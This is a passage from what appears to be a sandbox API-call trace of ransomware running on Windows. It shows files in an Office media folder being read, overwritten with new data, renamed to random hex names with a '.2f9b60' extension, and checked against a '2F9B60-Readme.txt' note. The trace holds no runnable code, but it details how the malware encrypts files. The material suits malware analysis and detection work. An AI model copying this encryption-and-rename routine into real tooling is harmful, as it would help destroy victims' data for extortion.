_Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="b9") returned 2 [0115.016] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="5f") returned 2 [0115.017] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="00") returned 2 [0115.017] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="e8") returned 2 [0115.017] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="5f") returned 2 [0115.017] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="8e") returned 2 [0115.017] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="7a") returned 2 [0115.017] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="be") returned 2 [0115.017] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="14") returned 2 [0115.017] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="33") returned 2 [0115.017] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="b7") returned 2 [0115.017] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="a0") returned 2 [0115.017] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="6e") returned 2 [0115.017] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="31") returned 2 [0115.017] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="89") returned 2 [0115.017] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="1a") returned 2 [0115.017] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="61") returned 2 [0115.017] RtlInitAnsiString (in: DestinationString=0x389afa48, SourceString="716627729cb8dcb95f00e85f8e7abe1433b7a06e31891a61" | out: DestinationString="716627729cb8dcb95f00e85f8e7abe1433b7a06e31891a61") [0115.017] RtlAnsiStringToUnicodeString (in: DestinationString=0x389afa18, SourceString="716627729cb8dcb95f00e85f8e7abe1433b7a06e31891a61", AllocateDestinationString=1 | out: DestinationString="716627729cb8dcb95f00e85f8e7abe1433b7a06e31891a61") returned 0x0 [0115.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a3340 [0115.018] wcscat (in: _Dest=0x1b7ad8e0, _Source="716627729cb8" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\716627729cb8") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\716627729cb8" [0115.018] wcscat (in: _Dest=0x1b7ad8e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\716627729cb8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\716627729cb8.2f9b60" [0115.018] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\716627729cb8.2f9b60", NtPathName=0x389af9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\716627729cb8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b861e30 [0115.018] NtSetInformationFile (FileHandle=0x14d8, IoStatusBlock=0x389afa90, FileInformation=0x1b861e30, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861e30) returned 1 [0115.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0115.019] NtQueryInformationFile (in: FileHandle=0x14d8, IoStatusBlock=0x389afa58, FileInformation=0x389afa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x389afa58, FileInformation=0x389afa68) returned 0x0 [0115.020] NtSetInformationFile (FileHandle=0x14d8, IoStatusBlock=0x389afa58, FileInformation=0x389afa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0115.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad8e0) returned 1 [0115.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3340) returned 1 [0115.022] FlushFileBuffers (hFile=0x14d8) returned 1 [0115.025] CloseHandle (hObject=0x14d8) returned 1 [0115.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b783cb0 [0115.027] wcscpy (in: _Dest=0x1b783cb0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0115.027] wcscat (in: _Dest=0x1b783cb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0115.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0115.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b783cb0) returned 1 [0115.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d800) returned 1 Thread: id = 1222 os_tid = 0xc64 [0114.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf")) returned 0x20 [0114.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF", dwFileAttributes=0x20) returned 1 [0114.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c0 [0114.991] GetFileSizeEx (in: hFile=0x14c0, lpFileSize=0x38aff6e0 | out: lpFileSize=0x38aff6e0*=6130) returned 1 [0114.991] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x17ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.991] ReadFile (in: hFile=0x14c0, lpBuffer=0x38aff660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38aff6a8, lpOverlapped=0x0 | out: lpBuffer=0x38aff660*, lpNumberOfBytesRead=0x38aff6a8*=0x4, lpOverlapped=0x0) returned 1 [0114.995] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a95e0 [0114.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0114.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e90 [0114.996] NtQuerySystemTime (in: CurrentTime=0x38aff5a0 | out: CurrentTime=0x38aff5a0*=132462177204550000) returned 0x0 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x69c41ae8 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x2ec009d9 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x2dcbf798 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x453a9003 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x27f94bb6 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0xc7aa479 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x4f7680c2 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x36b90239 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x5bb869a [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x415002a4 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x7a520bd4 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x2b46bb2b [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x7d101d65 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x2b0c7b16 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x3551a039 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x495d5c7e [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x16688201 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x47aaff9 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x4dd1e9fd [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x4d8768a0 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x6a79124b [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x1f606f40 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x5841933a [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x67b66f00 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x5ded5cc4 [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x2640870e [0114.996] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x19b70ddc [0114.997] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x7f6ec121 [0114.997] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x37f2cc6a [0114.997] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x5520d77a [0114.997] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x262cddb0 [0114.997] RtlRandomEx (in: Seed=0x38aff590 | out: Seed=0x38aff590) returned 0x51e55fc0 [0115.010] ReadFile (in: hFile=0x14c0, lpBuffer=0x201578d0, nNumberOfBytesToRead=0x17f2, lpNumberOfBytesRead=0x38aff590, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesRead=0x38aff590*=0x17f2, lpOverlapped=0x0) returned 1 [0115.013] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.013] WriteFile (in: hFile=0x14c0, lpBuffer=0x20153cc0*, nNumberOfBytesToWrite=0x17f2, lpNumberOfBytesWritten=0x38aff594, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesWritten=0x38aff594*=0x17f2, lpOverlapped=0x0) returned 1 [0115.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cf0 [0115.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0115.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202608f0) returned 1 [0115.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20153cc0) returned 1 [0115.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0115.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868940) returned 1 [0115.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0115.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202608f0 [0115.024] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.024] WriteFile (in: hFile=0x14c0, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x38aff6b0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x38aff6b0*=0x10a, lpOverlapped=0x0) returned 1 [0115.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0115.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868940 [0115.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9610 [0115.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9610) returned 1 [0115.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9610 [0115.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9520 [0115.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9520) returned 1 [0115.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868940) returned 1 [0115.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0115.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8500 [0115.031] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="a3") returned 2 [0115.031] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="d9") returned 2 [0115.031] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="b0") returned 2 [0115.031] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="14") returned 2 [0115.031] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="bc") returned 2 [0115.031] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="81") returned 2 [0115.031] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="1f") returned 2 [0115.031] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="d2") returned 2 [0115.031] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="56") returned 2 [0115.031] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="cb") returned 2 [0115.031] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="0c") returned 2 [0115.032] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="b4") returned 2 [0115.032] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="e0") returned 2 [0115.032] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="5a") returned 2 [0115.032] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="65") returned 2 [0115.032] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="d2") returned 2 [0115.032] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="85") returned 2 [0115.032] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="16") returned 2 [0115.032] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="3c") returned 2 [0115.032] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="c2") returned 2 [0115.032] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="bb") returned 2 [0115.032] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="ed") returned 2 [0115.032] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="64") returned 2 [0115.032] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="77") returned 2 [0115.032] RtlInitAnsiString (in: DestinationString=0x38aff728, SourceString="a3d9b014bc811fd256cb0cb4e05a65d285163cc2bbed6477" | out: DestinationString="a3d9b014bc811fd256cb0cb4e05a65d285163cc2bbed6477") [0115.032] RtlAnsiStringToUnicodeString (in: DestinationString=0x38aff6f8, SourceString="a3d9b014bc811fd256cb0cb4e05a65d285163cc2bbed6477", AllocateDestinationString=1 | out: DestinationString="a3d9b014bc811fd256cb0cb4e05a65d285163cc2bbed6477") returned 0x0 [0115.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a32d0 [0115.033] wcscat (in: _Dest=0x1b7ad8e0, _Source="a3d9b014bc81" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a3d9b014bc81") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a3d9b014bc81" [0115.033] wcscat (in: _Dest=0x1b7ad8e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a3d9b014bc81.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a3d9b014bc81.2f9b60" [0115.033] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a3d9b014bc81.2f9b60", NtPathName=0x38aff6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a3d9b014bc81.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b861e30 [0115.033] NtSetInformationFile (FileHandle=0x14c0, IoStatusBlock=0x38aff770, FileInformation=0x1b861e30, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861e30) returned 1 [0115.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0115.036] NtQueryInformationFile (in: FileHandle=0x14c0, IoStatusBlock=0x38aff738, FileInformation=0x38aff748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x38aff738, FileInformation=0x38aff748) returned 0x0 [0115.036] NtSetInformationFile (FileHandle=0x14c0, IoStatusBlock=0x38aff738, FileInformation=0x38aff748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0115.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad8e0) returned 1 [0115.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a32d0) returned 1 [0115.040] FlushFileBuffers (hFile=0x14c0) returned 1 [0115.041] CloseHandle (hObject=0x14c0) returned 1 [0115.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1cf4d800 [0115.044] wcscpy (in: _Dest=0x1cf4d800, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0115.044] wcscat (in: _Dest=0x1cf4d800, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0115.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0115.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d800) returned 1 [0115.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d920) returned 1 Thread: id = 1223 os_tid = 0xc68 [0115.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf")) returned 0x20 [0115.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF", dwFileAttributes=0x20) returned 1 [0115.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c0 [0115.053] GetFileSizeEx (in: hFile=0x14c0, lpFileSize=0x38a5fa00 | out: lpFileSize=0x38a5fa00*=45902) returned 1 [0115.053] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0xb34a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.053] ReadFile (in: hFile=0x14c0, lpBuffer=0x38a5f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38a5f9c8, lpOverlapped=0x0 | out: lpBuffer=0x38a5f980*, lpNumberOfBytesRead=0x38a5f9c8*=0x4, lpOverlapped=0x0) returned 1 [0115.055] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9640 [0115.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9610 [0115.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9520 [0115.056] NtQuerySystemTime (in: CurrentTime=0x38a5f8c0 | out: CurrentTime=0x38a5f8c0*=132462177205174000) returned 0x0 [0115.056] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x10361b65 [0115.056] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x7e412845 [0115.056] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x5a29142d [0115.056] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x4b33ac86 [0115.056] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x654f79ee [0115.056] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x30777d52 [0115.056] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x413c3761 [0115.056] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x2ab2bc5e [0115.056] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x2b69ecc7 [0115.056] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x7ac8257f [0115.056] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x5f4983fe [0115.056] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x756695c [0115.056] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x5c448d78 [0115.057] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x7a76b835 [0115.057] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x482c7302 [0115.057] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x731cb98a [0115.057] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x474c3bff [0115.057] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x5a944cc8 [0115.057] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x9a6c10c [0115.057] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x3c9057fa [0115.057] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x2c434d9a [0115.057] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x75f1b491 [0115.057] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x79b59148 [0115.057] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x2d665e52 [0115.057] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0xdd0885b [0115.057] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x278934bb [0115.057] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x1826f8b3 [0115.057] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x4f7a6f74 [0115.057] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x82c06d8 [0115.057] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x6cc3957b [0115.057] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x3ea88064 [0115.057] RtlRandomEx (in: Seed=0x38a5f8b0 | out: Seed=0x38a5f8b0) returned 0x59450bc6 [0115.070] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.070] ReadFile (in: hFile=0x14c0, lpBuffer=0x201578d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38a5f920, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesRead=0x38a5f920*=0x3c00, lpOverlapped=0x0) returned 1 [0115.071] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0115.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868940 [0115.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9640 [0115.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9640) returned 1 [0115.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20153cc0 [0115.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9640 [0115.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9520 [0115.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9520) returned 1 [0115.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868940) returned 1 [0115.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0115.072] WriteFile (in: hFile=0x14c0, lpBuffer=0x20153cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38a5f920, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesWritten=0x38a5f920*=0x3c00, lpOverlapped=0x0) returned 1 [0115.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20153cc0) returned 1 [0115.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0115.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9520 [0115.082] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.082] WriteFile (in: hFile=0x14c0, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, 